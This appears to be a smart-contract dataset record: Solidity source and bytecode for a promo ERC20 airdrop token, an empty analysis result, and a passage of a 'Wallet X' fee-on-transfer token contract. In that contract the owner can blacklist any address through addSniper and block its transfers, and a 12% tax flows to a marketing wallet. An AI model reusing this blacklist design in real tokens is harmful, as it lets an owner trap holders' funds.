* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BonumPromoToken is StandardToken, Ownable {
string public name = "Bonum Promo Token";
string public symbol = "Bonum Promo";
uint public decimals = 0;
uint public constant INITIAL_SUPPLY = 777 * 10 ** 9;
function BonumPromoToken(){
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
function transferTo(address[] recievers) external onlyOwner {
for (uint i = 0; i < recievers.length; i ++) {
transfer(recievers[i], 777);
}
}
}
|
0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461016e57806318160ddd146101c857806323b872dd146101f15780632ff2e9dc1461026a578063313ce5671461029357806366188463146102bc57806370a08231146103165780638da5cb5b1461036357806395d89b41146103b8578063a9059cbb14610446578063bf24de3d146104a0578063d73dd623146104ce578063dd62ed3e14610528578063f2fde38b14610594575b600080fd5b34156100eb57600080fd5b6100f36105cd565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610133578082015181840152602081019050610118565b50505050905090810190601f1680156101605780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017957600080fd5b6101ae600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061066b565b604051808215151515815260200191505060405180910390f35b34156101d357600080fd5b6101db61075d565b6040518082815260200191505060405180910390f35b34156101fc57600080fd5b610250600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610767565b604051808215151515815260200191505060405180910390f35b341561027557600080fd5b61027d610b21565b6040518082815260200191505060405180910390f35b341561029e57600080fd5b6102a6610b2a565b6040518082815260200191505060405180910390f35b34156102c757600080fd5b6102fc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b30565b604051808215151515815260200191505060405180910390f35b341561032157600080fd5b61034d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dc1565b6040518082815260200191505060405180910390f35b341561036e57600080fd5b610376610e09565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103c357600080fd5b6103cb610e2f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561040b5780820151818401526020810190506103f0565b50505050905090810190601f1680156104385780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561045157600080fd5b610486600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ecd565b604051808215151515815260200191505060405180910390f35b34156104ab57600080fd5b6104cc600480803590602001908201803590602001919091929050506110ec565b005b34156104d957600080fd5b61050e600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506111a3565b604051808215151515815260200191505060405180910390f35b341561053357600080fd5b61057e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061139f565b6040518082815260200191505060405180910390f35b341561059f57600080fd5b6105cb600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611426565b005b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106635780601f1061063857610100808354040283529160200191610663565b820191906000526020600020905b81548152906001019060200180831161064657829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107a457600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107f157600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561087c57600080fd5b6108cd826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461157e90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610960826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a3182600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461157e90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b64b4e8cf1a0081565b60065481565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c41576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cd5565b610c54838261157e90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ec55780601f10610e9a57610100808354040283529160200191610ec5565b820191906000526020600020905b815481529060010190602001808311610ea857829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610f0a57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610f5757600080fd5b610fa8826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461157e90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561114a57600080fd5b600090505b8282905081101561119e57611190838383818110151561116b57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff16610309610ecd565b50808060010191505061114f565b505050565b600061123482600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561148257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156114be57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561158c57fe5b818303905092915050565b60008082840190508381101515156115ab57fe5b80915050929150505600a165627a7a72305820ebdf6c50a073329940a4c47b99f3022a602ce3621a18c030de0312688eaeb3c10029
|
{"success": true, "error": null, "results": {}}
| 8,456 |
0x5d60f356470a806e02844c17eea8ce13a93724d9
|
/**
*Submitted for verification at Etherscan.io on 2022-04-14
*/
// SPDX-License-Identifier: Unlicensed
// Twitter
// https://twitter.com/WalletXOfficial
// Website
// https://walletx.tech/
// Telegram
// https://t.me/walletxportal
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract WALLETX is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Wallet X";
string private constant _symbol = "WALLETX";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 12;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 12;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 33;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0x87Bd5acfcbD87dA9c61A118334c15c15230d1045);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 5e9 * 10**9;
uint256 public _maxWalletSize = 15e9 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createPair() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= 5e9 * 10**9);
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
require(amountBuy >= 0 && amountBuy <= 13);
require(amountSell >= 0 && amountSell <= 13);
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
require(amountRefBuy >= 0 && amountRefBuy <= 1);
require(amountRefSell >= 0 && amountRefSell <= 1);
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
